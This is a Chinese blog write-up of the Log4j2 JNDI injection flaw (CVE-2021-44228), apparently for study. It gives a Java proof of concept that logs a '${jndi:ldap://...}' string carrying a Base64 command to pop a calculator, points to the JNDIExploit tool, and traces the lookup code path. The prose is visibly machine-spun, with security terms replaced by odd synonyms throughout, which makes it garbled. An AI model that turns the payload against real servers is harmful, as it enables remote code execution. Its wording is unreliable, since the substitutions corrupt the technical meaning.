当前位置:首页 > 其他 > 正文内容

log4j2 变量注入缝隙(CVE-2021-44228)

邻居的猫1个月前 (12-09)其他690

log4j2 JNDI注入缝隙(CVE-2021-44228)

概述

本文十分具体的自始至终debug了CVE-2021-44228缝隙的运用进程,喜爱的师傅记住点个引荐~

Apache Log4j2是一个依据Java的日志记载东西。该东西重写了Log4j结构,并且引入了许多丰厚的特性。该日志结构被许多用于事务系统开发,用来记载日志信息。大多数情况下,开发者或许会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功用存在递归解析功用,进犯者可直接结构歹意恳求,触发长途代码履行缝隙。缝隙运用无需特别装备,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次缝隙触发条件为只需外部用户输入的数据会被日志记载,即可形成长途代码履行。(CNVD-2021-95914、CVE-2021-44228)

影响版别:Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,可是很鸡肋

缝隙复现

Log4j2的这个缝隙本质上是JNDI注入 + LDAP的缝隙,而LDAP的运用办法在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默以为false,制止LDAP协议运用长途codebase的选项,把LDAP协议的进犯途径给禁了。

由于是JNDI进犯(JNDI客户端恳求服务端的缝隙进犯),所以先预备一个JNDI环境,github上有师傅写了一些很好用的JNDI服务,很好用,我这儿就不自己写了。我这儿用的是:

https://github.com/zzwlpx/JNDIExploit

我看了一下这个师傅写的代码,其实便是welk1n/JNDI-Injection-Exploit这个师傅写的JNDI注入检测东西的封装,支撑解析ldap中的参数,经过参数生成对应的payload代码。

把代码clone下来,然后在本地直接运用IDEA运转即可,假如IDEA无法识别到对应的运转程序,则点击运转即可。

image-20241202225003450

点击运转之后先放到一边,然后咱们预备log4j的缝隙触发

这儿不考虑绕过,只剖析缝隙自身,所以咱们只需要挑一个未修正的JDK版别即可,我这儿随意找了一个本地的JDK 8u131,然后参加以下log4j依靠

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

然后写入以下代码:

package log4j2_labs;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class CVE_2021_44228 {
    private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
    public static void main(String[] args) {
        // Y21kIC9jIGNhbGM= 这儿是cmd /c calc这个指令的Base64编码之后的写法,也便是缝隙触发之后要履行的指令
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
    }
}

然后运转这份代码,看一下成果,计算器被成功弹出,代码履行成功。

image-20241202230039184

缝隙调试

log4j2触发JNDI剖析

从网上的师傅那里学到一招调试的技巧,便是假如我知道这份歹意代码一定会履行到某一个函数的话。就把断点断在对应的函数上,最后去反向剖析调用的进程即可,比方我就在Runtime.getRuntime.exec()这个办法处下一个断点,然后经过IDEA的仓库往上就能找对应的调用逻辑。

然后咱们开端剖析代码是怎样履行的,一起或许的话最好能剖析一下JNDIExploit这个项目做了什么东西。

image-20241203092233051

然后先看函数被最开端调用的当地,这一块是什么意思呢,便是logIfEnabled这个办法中调用了两个函数,分别是isEnabled和logMessage,其实依照姓名也大约能了解,便是假如这个日志是发动的(isEnabled),那么就调用logMessage来记载日志,不然的话啥也不干就直接退出了。

image-20241203092448244

咱们来看一下isEnabled办法终究干了什么事儿,isEnabled有好几个完结,但依照咱们这儿的逻辑其实终究会调用到Logger中的isEnable然后持续往下追寻,会发现其实调用的是一个filter办法,然后咱们剖析一下这个函数的逻辑。

image-20241203093532644

前边的大约意思便是说,从装备中获取一个过滤器,然后中心的逻辑都是在判别是否要过滤。

假如过滤器为空则会走下边的逻辑。

  • 假如level != null,则会回来false(默许咱们调用logger.error、logger.info等办法时,都会对应一个枚举值,比方logger.error办法对应的便是Level.ERROR,logger.,其间枚举值还有一个int值,这个值是由StandardLevel这个枚举值界说的,StandardLevel和Level是绑定联系)
  • 假如intLevel > level.intLevel,level.intLevel是 咱们传过来的那个值,而intLevel这个值是提早界说好的,所以这个判别意思便是 咱们当时的日志等级的值是否比intLevel更低,在log4j2中,日志等级(StandardLevel中的int值)越低则日志优先级越高,intLevel值默许是200,也便是ERROR等级

总结一下这块的逻辑:log4j2中有FATAL、ERROR、WARN、INFO这些日志等级,默许只会记载(处理)小于等于200等级的日志,也便是ERROR和FATAL等级的日志。

image-20241203095419092

image-20241203095158760

然后回到logIfEnabled这个办法中,进入到logMessage函数中,然后一路跟下去,中心的函数都没什么好说的都是一些嵌套的办法调用对参数进行处理,在LoggerConfig.log办法中会把许多字段封装成一个LogEvent目标,这个目标在后边有用到,咱们持续往下跟。

image-20241203102717625

这块的format是一个十分重要的办法,在这段代码中,有一个判别来判别event中是否有${这一个组合字符,假如有的话测验把${标识的一串字符串拿到,然后调用StrSubstitutor.replace这个办法

image-20241203103258928

然后调用到了StrSubstitutor.substitute办法。这个办法其实挺杂乱的,是一个递归解析变量的办法,然后解析每一个变量,尽管逻辑杂乱可是关于咱们做安全学习来说,看懂大约逻辑即可。

log4j2的这个办法的注释是这样的:

Recursive handler for multiple levels of interpolation. This is the main interpolation method, which resolves the values of all variable references contained in the passed in text.

用于多级插值的递归处理程序。这是首要的插值办法,它解析传入文本中包括的一切变量引证的值。

Params:
event – The current LogEvent, if there is one. buf – the string builder to substitute into, not null offset – the start offset within the builder, must be valid length – the length within the builder to be processed, must be valid priorVariables – the stack keeping track of the replaced variables, may be null

参数:event–当时LogEvent(假如有的话)。buf–要替换的字符串生成器,而不是空偏移量–生成器中的开始偏移量有必要是有用长度–要处理的生成器中的长度有必要是有用的priorVariables–盯梢被替换变量的仓库,可所以空的

Returns:
the length change that occurs, unless priorVariables is null when the int represents a boolean flag as to whether any change occurred.

回来:产生的长度改变,除非当int表明是否产生任何改变的布尔标志时priorVariables为null。

简略了说明便是比方说,buf中包括了嵌套的变量时,会递归拆分这些变量。然后调用resolveVariable来解析变量。

image-20241203104936922

然后会获取一切的变量解析器,然后测验运用解析器来处理这个变量,这个当地就十分要害了,其实能够看到这儿是支撑多种解析办法的,比方env、sys、ctx等等,还有咱们最重要的缝隙点jndi,接着往下跟立刻就到终究的处理逻辑了。

image-20241203105859232

由于咱们这儿输入的是一个jndi:xxxx,所以这儿的Strlookup自然而然也是一个JndiLookup处理器

这儿边调用了JndiManager的lookup办法,这个jndiManager其实便是log4j2对JNDI的一层封装罢了,

image-20241203110203338

这儿的Context其实便是JNDI中的上下文目标。能够发现这儿便是终究的触发点了,恳求了

ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=

image-20241203110418741

当你学过JNDI + LDAP的注入进犯办法应该就很清除了,当时log4j2本质上便是一个LDAP的客户端,然后去外部恳求LDAP的服务端。

然后铺开断点,此刻计算器就被弹出了。

image-20241203111257982

JNDIExploit剖析

这个项目其实便是封装了一下JNDI-Injection-Exploit的服务端,让其用起来愈加便利,这儿简略剖析一下,首要是我也想看一下它写的逻辑,hhhhhhh

JNDIServer剖析

咱们先静态剖析一下

image-20241203111446623

在applyCmdArgs办法中,解析了一切的装备项,然后把装备存入到Config这个类中,这个类中的一切字段都是public static的,能够了解是大局拜访的变量,并且大局只需一份。

image-20241203111904874

然后看一下LdapServer中的内容,大约意思便是起一个Ldap服务,监听一切IP恳求(0.0.0.0),由于咱们没有装备ldap端口所以运用默许ldap端口,在装备完结后发动LDAP服务监听。

image-20241203111631257

然后咱们知道要衔接的肯定是Ldap服务器,所以咱们看一下LdapServer这个里面是怎样写的,也便是new LdapServer这个结构办法中干了什么事儿。

image-20241203132628183

这个其实便是获取到一切用了LdapMapping注解的类,然后经过routes将一切的途径都存储起来,而LdapServer重写了processSearchResult函数,逻辑如下:

从routes中拿到榜首段URL,经过URL匹配到对应的controller,然后调用这个controller的process办法和sendResult办法。

image-20241203132919485

这儿以BasicController为例,process其实便是对恳求参数做处理的办法,sendResult便是回应Ldap客户端恳求的办法,这儿有或许会依据恳求的不同来挑选是否要转到HttpServer上。

image-20241203133948833

HTTPServer剖析

HttpServer.start办法中会敞开一个HTTP服务器,然后创立一个监听 "/"的路由。能够看到在这个Handler中,他处理了一切以class、wsdl、jar、xxelog为完毕的恳求,不然就会拜访404状况码

image-20241203112242011

然后咱们这儿其实是用到了.class,所以看一下handleClassRequest里面是个啥。

其实便是把Cache中寄存的二进制字节拿出来,然后发送出去,没了......

image-20241203134441013

Cache是什么时分放进去的呢,在BasicController中是这么写的,假如对应的type是command,那么就生成一个指令履行的代码履行模板,然后将其放入到缓存中,咱们看一代码履行模板是怎样被创立出来的。

image-20241203134557536

便是这么一个逻辑,依据要履行的cmd指令生成一个随机类名,然后运用ASM来直接生成一份包括了Runtime.getRuntime().exec()这个办法,exec办法的参数便是cmd中的内容。

image-20241203134732130

OK,对咱们学习该缝隙协助的JNDIExploit这个项目差不多就这么多了。或许这个老哥考虑的东西比较多(或许是想写的愈加灵敏一点),所以加了个HttpServer来完结其他办法的进犯吧,其实这儿不运用HttpServer也行直接把ASM的代码移植到Ldap那里是相同的作用。

其实便是JNDI的一般注入,能够参阅大佬写的这篇剖析JNDI的博客:https://www.mi1k7ea.com/2019/09/15/浅析JNDI注入/

弥补

看起来log4j2的这个库只会导致log.error和log.fatal这两个办法会导致缝隙的触发,但其实不是的,咱们还记住isEnabled办法吗,其间那个判别是这么写的:

 public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
    return privateConfig.filter(level, marker, message, t);
}
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
    final Filter filter = config.getFilter();
    if (filter != null) {
        final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
        if (r != Filter.Result.NEUTRAL) {
            return r == Filter.Result.ACCEPT;
        }
    }
    // 要点便是这个intLevel,其实这个外部是能装备的,比方开发者期望记载INFO以上等级的日志,那么这个时分intLevel便是INFO等级的值
    return level != null && intLevel >= level.intLevel();
}

装备level有多种办法,比方在resource/中新增log4j2.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <!-- 为日志打印装备一个输出的前缀 -->
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>

    <Loggers>
        <Root level="info"> <!-- 设置根等级为 debug -->
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

还有一种办法是经过代码API直接装备

import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.Level;
.......
public class CVE_2021_44228 {
    private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
    public static void main(String[] args) {
        Configurator.setLevel("CVE_2021_44228", Level.INFO);
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
    }
}

假如咱们是以进犯者的视角,其实是无法干与这些装备的,所以能否触发该缝隙,要看开发运用的装备。

回到咱们前边说的那段描绘这个缝隙的话:此次缝隙触发条件为只需外部用户输入的数据会被日志记载,即可形成长途代码履行。

这一篇内容感觉现已写的很长了,所以这儿就完毕了,后边或许再更新一篇jndi要害词 绕过的相关内容吧。

扫描二维码推送至手机访问。

版权声明:本文由51Blog发布,如需转载请注明出处。

本文链接:https://www.51blog.vip/?id=778

标签: JAVA Sec
分享给朋友:

“log4j2 变量注入缝隙(CVE-2021-44228)” 的相关文章

k8s~关于十分烦琐的标签和选择器

k8s~关于十分烦琐的标签和选择器

总感觉k8s中界说的deplyment和service十分的烦琐,尤其是在挑选器的界说上,但没办法,它的规划总有它的道理。 svc(spec.selector.app) deployment(metadata.labels.app,spec.selector.matchLabels.app) pod...

架构演化考虑总结(2)

架构演化考虑总结(2)

架构演化考虑总结(2) ​ —-–从指令形式中来探究处理依靠联系 在正式引进指令形式的概念之前,咱们先从简略的事例来逐渐演化咱们在书面上常见到的内容。 public interface ICommand { void Execute(); } public class Play...

《DNK210使用指南 -CanMV版 V1.0》第四十章 YOLO2人手检测试验

《DNK210使用指南 -CanMV版 V1.0》第四十章 YOLO2人手检测试验

第四十章 YOLO2人手检测试验 1)试验渠道:正点原子DNK210开发板 2)章节摘自【正点原子】DNK210运用指南 - CanMV版 V1.0 3)购买链接:https://detail.tmall.com/item.htm?&id=782801398750 4)全套试验源码+手册+视...

一款 IDEA 必备的 JSON 处理东西插件 — Json Assistant

一款 IDEA 必备的 JSON 处理东西插件 — Json Assistant

Json Assistant 是根据 IntelliJ IDEs 的 JSON 东西插件,让 JSON 处理变得更轻松! 主要功用 彻底支撑 JSON5 JSON 窗口(多选项卡) 选项卡更名 移动至主修改器 用新窗口翻开选项卡内容 JSONPath 查询 历史记载 JSON 导出 JSON 格...

python开源,技术、社区与创新的融合

python开源,技术、社区与创新的融合

“Python开源”通常指的是Python编程语言以及相关的开源项目和工具。Python本身是一个开源编程语言,由Guido van Rossum在1989年创立,现在由Python软件基金会(Python Software Foundation)维护。Python以其简洁易读的语法和丰富的库支持,...

世界三大云计算,引领未来科技浪潮的领军者

世界三大云计算,引领未来科技浪潮的领军者

根据多个来源的信息,目前全球云计算市场的三大巨头分别是:1. 亚马逊 AWS:亚马逊的云计算服务AWS(Amazon Web Services)是全球最大的云计算服务提供商。AWS在全球云计算市场占据了主导地位,2023年其市场份额约为31%。2. 微软 Azure:微软的云计算平台Azure在全球...